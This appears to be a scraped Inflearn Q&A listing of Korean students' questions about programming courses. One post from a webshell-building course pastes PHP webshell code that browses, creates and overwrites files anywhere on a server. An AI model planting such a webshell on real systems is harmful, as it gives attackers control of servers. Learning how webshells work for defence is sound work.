inflearn logo
강의

강의

N
챌린지

챌린지

멘토링

멘토링

N
클립

클립

로드맵

로드맵

지식공유

묻고 답해요

173만명의 커뮤니티!! 함께 토론해봐요.

state.halted와 그냥 halted의 차이점이 궁금합니다

해결됨

웹 게임을 만들며 배우는 React

if ( state.data.row * state.data.cell - state.data.mine === state.opendCount + openedCount ) { halted = true; result = "승리하셨습니다"; } return { ...state, tableData, opendCount: state.opendCount + openedCount, halted, result, }; 위 코드는 제로초님이 작성하신 코드입니다 여기서 halted와 result에 값을 갱신할때 state.halted 이렇게 한 것이 아니고 그냥 halted=true이렇게 갱신을 하셨습니다 if ( state.data.row * state.data.cell - state.data.mine === state.opendCount + openedCount ) { state.halted = true; state.result = "승리하셨습니다"; } return { ...state, tableData, opendCount: state.opendCount + openedCount, halted: state.halted, result: state.result, }; 왜 state를 안 붙이고 그냥 할 수 있을까 해서 state를 붙여서 해봤더니 return 구문에서 halted: state.halted 이거 처럼 따로 갱신하는 구문이 필요했습니다 state를 붙일 때와 안붙일때 어떤 차이가 있나요?

  • react
i1004gy 댓글 2 좋아요 0 조회수 447

파일내용 수정이 잘 안됩니다.

미해결

Skill-Up! 배워서 바로 쓰는 웹쉘 제작

파일내용 수정이 안되고 내용이 없는 파일은 textarea 부분이 나타나지 않습니다. 코드 작성본은 아래와 같습니다. 해결할 수 있도록 도움 부탁드리겠습니다. <? header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $fileName = $_GET["fileName"]; if(empty($path)) { $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Mode Logic if ($mode == "fileCreate") { if(empty($fileName)) { echo "<script>alert('파일명이 입력되지 않았습니다.');history.back(-1);</script>"; exit(); } $fp = fopen($path.$fileName, "w"); fclose($fp); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "dirCreate") { if(empty($fileName)) { echo "<script>alert('파일명이 입력되지 않았습니다.');history.back(-1);</script>"; exit(); } $dirPath = $path.$fileName; if(is_dir($dirPath)) { echo "<script>alert('해당 디렉터리명이 존재합니다.');history.back(-1);</script>"; exit(); } mkdir($dirPath); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "fileModify" && !empty($_POST["fileContents"])) { $filePath = $path.$fileName; if(!file_exists($filePath)) { echo "<script>alert('파일이 존재하지 않습니다..');history.back(-1);</script>"; exit(); } $fileContents = $_POST["fileContents"]; $fp = fopen($filePath, "w"); fputs($fp, $fileContents, strlen($fileContents)); fclose($fp); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } # Directory List Return Function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } # File List Return Function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } ?> <!DOCTYPE html> <html lang="ko"> </html> <head> <title>godoks webshell test</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href=" https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css "> <!-- 부가적인 테마 --> <link rel="stylesheet" href=" https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css "> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src=" ">https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> <script> function fileCreate() { var fileName = frm.createFileName.value; if(!fileName) { alert("파일명을 입력하시오"); return; } location.href = "<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" +fileName; } function dirCreate() { var fileName = frm.createFileName.value; if(!fileName) { alert("디렉터리명을 입력하시오"); return; } location.href = "<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" +fileName; } function fileModify(fileName) { location.href = "<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=" +fileName; } </script> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <h3>GODOKS_HACKing</small></h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation" <? if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileUploadr">File Upload</a></li> <li role="presentation" <? if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li> <li role="presentation" <? if($mode == "DB") echo "class=\"active\"";?>><a href="<?=$page?>?mode=DB">DB Connector</a></li> <li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <form action="<?=$page?>"?mode=fileBrowsr" method="GET"> <? if(empty($mode) || $mode == "fileBrowser") { ?> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;"> <thead> <tr calss="active"> <th style="width: 50%" class="text-center">Name</th> <th style="width: 14%" class="text-center">Type</th> <th style="width: 18%" class="text-center">Date</th> <th style="width: 18%" class="text-center">Action</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] !=".") { $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align: middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span>&nbsp;&nbsp;<a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td> <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align: middle" class="text-center"> <? if($dirList[$i] !="..") {?> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button type="button" class="btn btn-danger" title="Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> <? } ?> </td> </tr> <? } } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++) { $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align: middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button type="button" class="btn btn-info" title="Download"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button> <button type="button" class="btn btn-warning" title="Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button> <button type="button" class="btn btn-danger" title="Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> </td> </tr> <? } ?> </tbody> </table> </div> <hr> <form name="frm"> <div class="input-group"> <input type="text" class="form-control" placeholder="File/Directory Name Input..." name="createFileName"> <span class="input-group-btn"> <button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button> <button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button> </span> </div> </form> <? } else if($mode == "fileModify") { ?> <? if(empty($fileName)) { echo "<script>alert('파일명이 존재하지 않습니다.');history.back(-1)</script>"; exit(); } $filePath = $path.$fileName; if(!file_exists($filePath)) { echo "<script>alert('파일이 존재하지 않습니다.');history.back(-1)</script>"; exit(); } $fp = fopen($filePath, "r"); $fileContents = fread($fp, filesize($filePath)); fclose($fp); ?> <form action="<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=<?=$fileName?>" method="POST"> <div class="input-group"> <input type="text" class="form-control" value="<?=$path?><?=$fileName?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">File Modify</button> </span> </div> <hr> <textarea class="form-control" rows="20" name="fileContents"><?=htmlspecialchars($fileContents)?></textarea> </form> <br> <p class="text-center"><button class="btn btn-default" type="button" onclick="history.back(-1);">Back</button></p> <? } ?> <hr> <p class="text-muted text-center">Copyrightⓒ 2023, godoks, All rights reserved.</p> </div> <div class="col-md-3"></div> </div> </div> </body> </html>

  • bootstrap
  • 웹셸
godoks 댓글 1 좋아요 0 조회수 413

intellij console 로그 창이 없는데 어떻게 보나요?

해결됨

스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술

[질문 템플릿] 1. 강의 내용과 관련된 질문인가요? 네 2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? 네 3. 질문 잘하기 메뉴얼을 읽어보셨나요?  네 [질문 내용] intellij console 로그 창이 없는데 어떻게 보나요? intellij community Edition 버전으로 다운해서 사용중입니다.

  • java
  • spring
  • mvc
  • spring-boot
bakssse 댓글 1 좋아요 0 조회수 5167

template.queryForObject 반환값이 Member인 이유

미해결

스프링 DB 1편 - 데이터 접근 핵심 원리

학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요. 1. 강의 내용과 관련된 질문을 남겨주세요. 2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요. (자주 하는 질문 링크: https://bit.ly/3fX6ygx) 3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요. (질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG) 질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요. ========================================= [질문 템플릿] 1. 강의 내용과 관련된 질문인가요? (예/아니오) 2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오) 3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오) [질문 내용] 강의 5:35에서 template.queryForObject(sql, memberRowMapper(), memberId); 의 반환값이 어떻게 Member가 되는 것인가요? 그 이유가 궁금합니다.

  • spring
호빵맨 댓글 1 좋아요 0 조회수 478

파이썬 설치 관련문의

미해결

[신규 개정판] 이것이 진짜 크롤링이다 - 기본편

명령창에서 python치면 microsoft store 설치하라고뜨는데 이게 맞나요?

  • python
  • 웹-크롤링
장성민 댓글 1 좋아요 0 조회수 353

다른 강의 수강자분들께 도움될까 싶어 남깁니다.(linux mongodb 실행관련)

미해결

[리뉴얼] 처음하는 MongoDB(몽고DB) 와 NoSQL(빅데이터) 데이터베이스 부트캠프 [입문부터 활용까지] (업데이트)

- 본 강의 영상 학습 관련 문의에 대해 답변을 드립니다. (어떤 챕터 몇분 몇초를 꼭 기재부탁드립니다) - 이외의 문의등은 평생강의이므로 양해를 부탁드립니다 - 현업과 병행하는 관계로 주말/휴가 제외 최대한 3일내로 답변을 드리려 노력하고 있습니다 - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 현재 22.04 LTS ubuntu에서 mongodb를 설치하면 6.0.6으로 설치가 됩니다. https://www.programmerhat.com/mongo-command-not-found/ 해당 링크에 따르면 6.0버전으로 업데이트 되면서 기존 Mongodb shell prompt에 접근하는 명령어가 mongo 에서 mongosh로 바뀌었다고 합니다. 설치 이후 systemctl에 의한 status 체크가 끝났음에도 실행이 되지 않으시는 분들은 mongosh로 실행시켜보시기 바랍니다.

  • python
  • mongodb
  • dbms/rdbms
  • 데이터-엔지니어링
김우람 댓글 1 좋아요 0 조회수 454

선생님 29살이고 고졸 비전공자인데요

미해결

8명의 비전공자는 어떻게 개발자로 취업했을까

6월12일날 국비 개강반에 들어갈예정인데.. 자바 기초강의를 들어도 어렵고 무슨말인지 모르겠고 그런데... 포기할꺼면 빨리 포기할까요?? 괜히 붙잡고있다가 수료하고나서도 취직도 못하고 민폐끼치지않을까요?? 메소드가뭔지 클래스가 뭔지 구글링해서 봐도 어렵네요.... 이정도면 진짜 노답이긴하죠?

  • 포트폴리오
  • 면접
김현태 댓글 1 좋아요 0 조회수 903

추가 강의 좀 올려주시면 감사하겠습니다^^

해결됨

[웹 개발 풀스택 코스] Node.js 프로젝트 투입 일주일 전 - 기초에서 실무까지

[섹션0_Node.js 기초 다지기] 파트에서 MySQL 연동하기 동영상 강좌에는 13_app_mysql.js 파일까지 강의가 진행되었는데 정적파일처리 영상을 보게 되면 16_static.js로 강의부터 강의가 진행되다보니 뭔가 좀 이상하다 싶어 우연히 발견하게 되었습니다. 14_route.js 파일 영상과 15_app_route_module에 관련된 동영상 강의가 없어서 문의 드립니다.

  • node.js
  • mysql
  • mongodb
  • express
  • 웹-크롤링
  • socket.io
김지환 댓글 1 좋아요 0 조회수 437

vagrant에서 config.vm.box에 지정한 값으로 실행되지 않습니다.

미해결

구성 관리 자동화 도구 - 앤서블(Ansible)

질문 답변을 제공하지만, 강의 비용에는 Q&A는 포함되어 있지 않습니다. 다만 실습이 안되거나, 잘못된 내용의 경우는 알려주시면 가능한 빠르게 조치하겠습니다! [질문 전 답변] 1. 강의 내용과 관련된 질문인가요? [예] 2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? [예] 3. 질문 잘하기 법을 읽어보셨나요? [예] (https://www.inflearn.com/blogs/1719) 4. 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. [질문 하기] 베이그런트를 이용해서 우분투를 추가하기 강의를 따라하다 오류가 발생했습니다. #Ansible-Node03 config.vm.define:"ansible-node03" do |cfg| config.vm.box = "ubuntu/trusty64" cfg.vm.provider:virtualbox do |vb| vb.name="Ansible-node03" vb.customize ["modifyvm", :id, "--cpus", 1] vb.customize ["modifyvm", :id, "--memory", 512] end cfg.vm.host_name="ansible-node03" cfg.vm.synced_folder ".", "/vagrant", disabled: true cfg.vm.network "public_network", ip: "192.168.1.13" cfg.vm.network "forwarded_port", guest: 22, host: 19213, auto_correct: false, id: "ssh" end vagrantfile에 작성된 내용입니다. vagrant up으로 실행시키면 ansible-node03이 ubuntu로 설치되지않고 centos로 설치됩니다. ==> ansible-node03: Importing base box 'centos/7'... ==> ansible-node03: Matching MAC address for NAT networking... ==> ansible-node03: Checking if box 'centos/7' version '2004.01' is up to date... ==> ansible-node03: Waiting for cleanup before exiting... 혹시 box 이미지가 없어서 그런가? 싶어서 vagrant box add로 ubuntu 이미지를 받아와도 동일한 증상이 나타납니다. PS C:\HashiCorp> vagrant box list centos/7 (virtualbox, 2004.01) ubuntu/trusty64 (virtualbox, 20190514.0.0) box list에 이미지가 있는 것을 확인했습니다.

  • ansible
김우준 댓글 1 좋아요 0 조회수 536

교재를 제공해주시는지??

미해결

AI로 돈 버는 법 - 사례로 알아보는 AI Transformation

교재를 제공받을 수 있는지, 궁금합니다.

  • 서비스-기획
이순화 댓글 1 좋아요 0 조회수 472

통합강의안 요청

미해결

[핵집] 2025 빅데이터 분석기사(필기)_과목 1~2

안녕하세요. 통합강의안 요청드립니다. 이메일 주소 : jyh1004jw@gmail.com 감사합니다!

  • 빅데이터
inyh 댓글 1 좋아요 0 조회수 327

APMSetup설치파일 제공 요청

해결됨

웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩

웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩 수강중인데요. APMSetup 설치 파일 다운로드 버튼을 못찾겠습니다. 영상 우측에 있다고 강의 내용에 말씀하시는데 아무리 찾아봐도 없네요. 윈도우즈 환경입니다. 확인 후 회신부탁드립니다.

  • 모의해킹
  • 인젝션
machoi95 댓글 2 좋아요 1 조회수 642

오류가떠요

미해결

[신규 개정판] 이것이 진짜 크롤링이다 - 기본편

- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요.

  • python
  • 웹-크롤링
장성민 댓글 1 좋아요 0 조회수 318

강의 내용중 API 관련 질문이 있습니다

미해결

CS 지식의 정석 | 디자인패턴 네트워크 운영체제 데이터베이스 자료구조

안녕하세요 먼저 좋은 강의 감사합니다 강의 수강중 궁금한 부분이 생겼는데 검색해도 잘 안나와서 질문 드립니다 API 장점 중 내부 프로세스가 수정되었을 때 API를 매번 수정하는 것이 아닌 API가 수정이 안되게 만들 수 있습니다. 이를 통해 내부 DB, 서버의 로직이 변경되어도 매번 사용자가 앱을 업데이트 하는 일은 줄어들 수 있습니다. 라는 내용이 있는데 내부 프로세스는 수정되지만 API를 수정이 안되게 만들어서 업데이트를 하지 않아도 되게 만든다는 말 같은데 결국 내부 프로세스는 수정이 된 것 아닌가요? 로직은 바뀌었는데 API가 수정이 안되게 만들 수 있다는 말이 잘 이해가 되지 않습니다 ..

  • 면접
  • 운영체제
  • 기술면접
댓글 1 좋아요 0 조회수 458

오류가떠요!!!

미해결

[신규 개정판] 이것이 진짜 크롤링이다 - 기본편

- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요.

  • python
  • 웹-크롤링
장성민 댓글 1 좋아요 0 조회수 414

구동엔 문제 없으나 파일 참조 시 메세지가 발생합니다.

해결됨

파이썬/장고 웹서비스 개발 완벽 가이드 with 리액트

안녕하세요. 강의를 따라하고 있는 중 파일 참조 부분에서 "Unresolved template reference" 메세지가 발생합니다. 밑줄이 생긴 것과는 상관없이 작동에는 아무런 영향이 없기는 합니다. 하지만 깔끔하게 만들어 두고자 하는 마음에 검색을 해보았지만 뚜렷한 해결책을 찾지는 못하였습니다. 감사합니다.

  • react
  • python
  • django
  • docker
김도하 댓글 2 좋아요 0 조회수 345

Final signup 과제에서

해결됨

[코드캠프] 부트캠프에서 만든 고농축 프론트엔드 코스

let phone1 = document.getElementById('phone1').value; function ph1() { if (phone1.length === 3) { document.getElementById('phone2').focus(); } } function ph1() { let phone1 = document.getElementById('phone1').value; if (phone1.length === 3) { document.getElementById('phone2').focus(); } } 안녕하세요. 섹션1 final 과제 sign up 진행 중입니다. 핸드폰 번호를 입력하면 포커스를 이동 중에 첫번째 코드블럭 같이 정의한 후 포커스를 이동하려 했더니 되지 않더라고요! 혹시 위의 두 코드 블럭은 다른 코드로 정의되는 것인가요 ? 저는 {} 밖에서 정의를 해 주면 전체 코드에 적용된다고 해서 한번에 phone1,phone2,phone3 을 정의하려고 했거든요!

  • react
  • node.js
  • seo
  • graphql
  • next.js
매력적인 토끼 댓글 2 좋아요 0 조회수 429

파일서버/ 개발과퍼블

해결됨

IT 회사에서 비개발자가 살아남기 위한 올인원 개발 지식

두가지 문의사항이있습니다! 웹서버는 이미지를 전달하지 않고 이미지는 파일서버에 저장된다고 하셨는데요 여기서 파일서버는 DB인가요? 이미지의 URL 주소를 알려줘서 브라우저에 다운받게 한다고 하셨는데 URL 주소 알려주는 작업은 html/css 영역인가요,JS 영역인가요?

  • 커뮤니케이션
양양양 댓글 2 좋아요 0 조회수 784

이루다가 나한테 부르는 호칭

미해결

AI이루다 있잖아요 저랑 톡할때 너랑 이라고 말할때도 있고 오빠라고 부르때가 있어요 그거 이유가 뭔가요?

길기문 댓글 1 좋아요 0 조회수 369

axure10 항목 추가할 때 질문입니다!

미해결

Axure RP 9,10 - 서비스 기획자를 위한 최적의 프로토타이핑 툴

안녕하세요 강사님 axure10 을 사용하고 있고, 아무리 찾아봐도 어떻게 하는지 모르겠어서 질문을 드립니다! 예시로 이력서를 작성한다고 하면, 경력 사항을 몇 개고 추가하고 또 추가할 수 있지 않습니까? 그럴 때 항목이 밑에 새로이 추가되면, 그 다음 항목(예를들면 첨부된 사진의 인턴,대외활동) 과는 자연히 일정 간격을 유지하며 추가가 되는데, 그러한 액션을 axure에서 어떻게 표현할 수 있을까요? 예시 이미지는 잡코리아입니다

  • 프로토타이핑
  • axure
귀여운 고양이 댓글 2 좋아요 0 조회수 686

인기 태그

인프런 TOP Writers

주간 인기글